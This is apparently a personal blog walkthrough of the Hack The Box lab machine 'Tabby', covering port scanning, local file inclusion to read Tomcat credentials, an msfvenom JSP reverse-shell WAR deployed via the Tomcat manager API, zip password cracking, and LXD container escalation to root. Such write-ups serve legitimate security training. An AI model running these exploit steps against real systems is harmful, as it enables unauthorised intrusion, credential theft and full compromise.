Hackthebox – Tabby

As with any target, Tabby gets several port scans

root@kalivm:~/tabby# nmap -oN fullscan-A -A
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 10:04 CEST
Nmap scan report for (
Host is up (0.017s latency).
Not shown: 996 closed ports
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http     Apache Tomcat
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
8443/tcp open  ssl/http LXD container manager REST API
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=root@ghost/organizationName=linuxcontainers.org
| Subject Alternative Name: DNS:ghost, IP Address:, IP Address:0:0:0:0:0:0:0:1
| Issuer: commonName=root@ghost/organizationName=linuxcontainers.org
| Public Key type: ec
| Public Key bits: 384
| Signature Algorithm: ecdsa-with-SHA384
| Not valid before: 2020-06-16T13:34:28
| Not valid after:  2030-06-14T13:34:28
| MD5:   f98f 6c74 ed36 2c21 8c66 c9aa 5894 61d9
|_SHA-1: c78b 1414 6bfc 172e 1a6f c9f1 f122 2809 2be5 c105
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Uptime guess: 30.233 days (since Fri May 22 04:28:56 2020)          
Network Distance: 2 hops                                            
TCP Sequence Prediction: Difficulty=257 (Good luck!)                
IP ID Sequence Generation: All zeros                                
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel             

TRACEROUTE (using port 3306/tcp)                                    
HOP RTT      ADDRESS                                                
1   15.15 ms (                                
2   15.22 ms ( 
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.23 seconds

Ports 22, 80, 8080 and 8443 are open. Interesting to see if tomcat is as vulnerable as it always is. First I start browsing through the various pages.

I first verify if the port 8080 is indeed a tomcat server, and it appears to be so. But I do not have access here yet, so I continue my enumeration.

While looking at the regular port 80 web server, I see various links.

After clicking the statement on recovering from the data breach, it takes me to a news.php page which looks very much useful for File Inclusion. Time to try it

root@kalivm:~/tabby# curl http://megahosting.htb/news.php?file=../../../../../../../etc/passwd
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false

After trying some remote file inclusion without success, I did get Local File Inclusion with the etc/passwd file, showing me that lxd, tomcat and ash are accounts added to the system so I make notes of them.

After some browsing through the file lists, I get a bit cranky as all the documentation of tomcat points to, is the CATALINA_HOME and CATALINA_BASE variables. Nothing about the actual location of the files, until I ask around on discord, I get a nudge to the debian package list… Why didn’t I think of this before.

root@kalivm:~/tabby# curl http://megahosting.htb/news.php?file=../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
   <role rolename="admin-gui"/>
   <role rolename="manager-script"/>
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

Now it was pretty straight-forward to obtain the username and password for this tomcat installation.

I am able to access the vhost manager now and change some configuration things in tomcat.

However, when I browse to the app manager, I get an error 403, apparently the account is not authorized to use the web interface. Therefore I go back to the tomcat-users.xml file and am wondering what those roles allow me to do. So I search the tomcat9 manual a bit and find out that the manager-script role means that I can access the http://{host}:{port}/manager/text/ API but not the web interface.

root@kalivm:~/tabby# export PASS=\$3cureP4s5w0rd123\!
root@kalivm:~/tabby# curl -u tomcat:${PASS} megahosting.htb:8080/manager/text/list
OK - Listed applications for virtual host [localhost]

I try to verify it by accessing the list command, and get feedback with the password from the tomcat-users.xml file, that seems to work so this might be the avenue of attack.

root@kalivm:~/tabby# msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=9000 -f war > shell.war
Payload size: 1093 bytes
Final size of war file: 1093 bytes

I prepare a war-file, as I recall that from my OSCP journey where I also encountered a similar setup, but with the web interface.

root@kalivm:~/tabby# curl -T shell.war -u tomcat:${PASS} megahosting.htb:8080/manager/text/deploy?path=/examples/sedje&update=true
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0OK - Deployed application at context path [/examples/sedje]
100  1616    0    60  100  1556     73   1895 --:--:-- --:--:-- --:--:--  1965
root@kalivm:~/tabby# curl -L http://megahosting.htb:8080/examples/sedje

I upload it, and call it using curl while having a listener ready.

root@kalivm:~/tabby# rlwrap nc -nlvp 9000
Listening on 9000
Connection received on 35704
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
python3 -c 'import pty;pty.spawn("/bin/bash")'

And there’s the shell! I’m now user tomcat on the box. No root yet, but I’m getting there.

tomcat@tabby:/var/lib/tomcat9$ ls /var/www/html/files
ls /var/www/html/files
16162020_backup.zip  archive  revoked_certs  statement

After some browsing through the system, I come accross a backup.zip file.

root@kalivm:~/tabby# wget http://megahosting.htb/files/16162020_backup.zip
--2020-06-21 11:29:47--  http://megahosting.htb/files/16162020_backup.zip
Resolving megahosting.htb (megahosting.htb)...
Connecting to megahosting.htb (megahosting.htb)||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8716 (8.5K) [application/zip]
Saving to: ‘16162020_backup.zip’

16162020_backup.zip               100%[==================>]   8.51K  --.-KB/s    in 0s      

2020-06-21 11:29:47 (71.1 MB/s) - ‘16162020_backup.zip’ saved [8716/8716]
root@kalivm:~/tabby# unzip 16162020_backup.zip 
Archive:  16162020_backup.zip
   creating: var/www/html/assets/
[16162020_backup.zip] var/www/html/favicon.ico password:

So I download the file and try to unzip it, however it immediately asks for a password. Perhaps John knows how to deal with this.

root@kalivm:~/tabby# zip2john 16162020_backup.zip > zip-hash
16162020_backup.zip/var/www/html/assets/ is not encrypted!
ver 1.0 16162020_backup.zip/var/www/html/assets/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/favicon.ico PKZIP Encr: 2b chk, TS_chk, cmplen=338, decmplen=766, crc=282B6DE2
ver 1.0 16162020_backup.zip/var/www/html/files/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=3255, decmplen=14793, crc=285CC4D6
ver 1.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/logo.png PKZIP Encr: 2b chk, TS_chk, cmplen=2906, decmplen=2894, crc=2F9F45F
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/news.php PKZIP Encr: 2b chk, TS_chk, cmplen=114, decmplen=123, crc=5C67F19E 
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/Readme.txt PKZIP Encr: 2b chk, TS_chk, cmplen=805, decmplen=1574, crc=32DB9CE3
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time.
root@kalivm:~/tabby# cat zip-hash
 var/www/html/logo.png, var/www/html/index.php:16162020_backup.zip

Of course john knows how to extract the hash, lets hope john can also crack it using rockyou.txt.

root@kalivm:~/tabby# john --wordlist=/usr/share/wordlists/rockyou.txt zip-hash 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it         (16162020_backup.zip)
1g 0:00:00:00 DONE (2020-06-21 11:35) 1.315g/s 13635Kp/s 13635Kc/s 13635KC/s adnc153..adenabuck
Use the "--show" option to display all of the cracked passwords reliably
Session completed

So the password for the zip file is admin@it. After looking at the file contents, I see nothing particularly interesting so I decide to try this password as Ash’ password.

tomcat@tabby:/var/lib/tomcat9$ su - ash
su - ash
Password: admin@it

ash@tabby:~$ cat user.txt
cat user.txt

And it works, there is the user.txt flag

Privilege escalation

ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

So ash has access to lxd, this might be a feasible way to escalate to root.

ash@tabby:~$ lxc image list

No images, great… While I was discussing this box on discord, and the stuff I found, I mentioned that I did not have much experience with lxc/lxd yet, and the person I was discussing it with, immediately came up with this exploit-db link for exploiting LXC. After some quick reading through it, it did seem very useful and I decided to give it a try by dissecting it into separate steps.

root@kalivm:~/tabby# wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
--2020-06-21 12:10:23--  https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
Resolving raw.githubusercontent.com (raw.githubusercontent.com)...,,, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)||:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7498 (7.3K) [text/plain]
Saving to: ‘build-alpine’

build-alpine                      100%[======================>]   7.32K  --.-KB/s    in 0s

2020-06-21 12:10:23 (21.1 MB/s) - ‘build-alpine’ saved [7498/7498]
root@kalivm:~/tabby# ./build-alpine
Determining the latest release... v3.12
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86_64
OK: 8 MiB in 19 packages

I analyze the script to determine if it can do no harm, it seems benign so I decide to just run it and it creates a new .tar.gz file, this may be useful for importing into lxc as the exploit described.

ash@tabby:~/$ mkdir images
mkdir images
ash@tabby:~/$ cd images
cd images
ash@tabby:~/images$ wget

I transfer the image from my kali box to the victim machine, to import it into lxc.

ash@tabby:~/images$ lxc image import alpine-v3.12-x86_64-20200621_1522.tar.gz
lxc image import alpine-v3.12-x86_64-20200621_1522.tar.gz
ash@tabby:~/images$ lxd init --auto
lxd init --auto

No errors, that seemed to have worked, lets check it out.

ash@tabby:~/images$ lxc image list
|         | 950fbf792b52 | no     | alpine v3.12 (20200621_06:57) | x86_64       |

Great, that part works too. Now I should initialize the image and make it mount the root of my current OS as root user. However, I did not provide an alias and in the example exploit, the alias name was used for initialization. After some research, I found that I can also use the fingerprint to initialize the image so lets try that.

ash@tabby:~/images$ lxc init 950fbf792b52 secwalk -c security.privileged=true
Creating secwalk
ash@tabby:~/images$ lxc config device add secwalk giveMeRoot disk source=/ path=/mnt/root recursive=true
Device giveMeRoot added to secwalk
ash@tabby:~/images$ lxc start secwalk
ash@tabby:~/images$ lxc exec secwalk sh
~ # 

Now all that is left to do, is to see if I can really get to the root flag using this approach.

~ # ls /mnt/root/root
root.txt  snap
~ # cat /mnt/root/root/root.txt

And apparently I can, there’s the root flag, and this box is done again. Learned a few nice tricks about uploading stuff to tomcat with curl, and using lxc.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.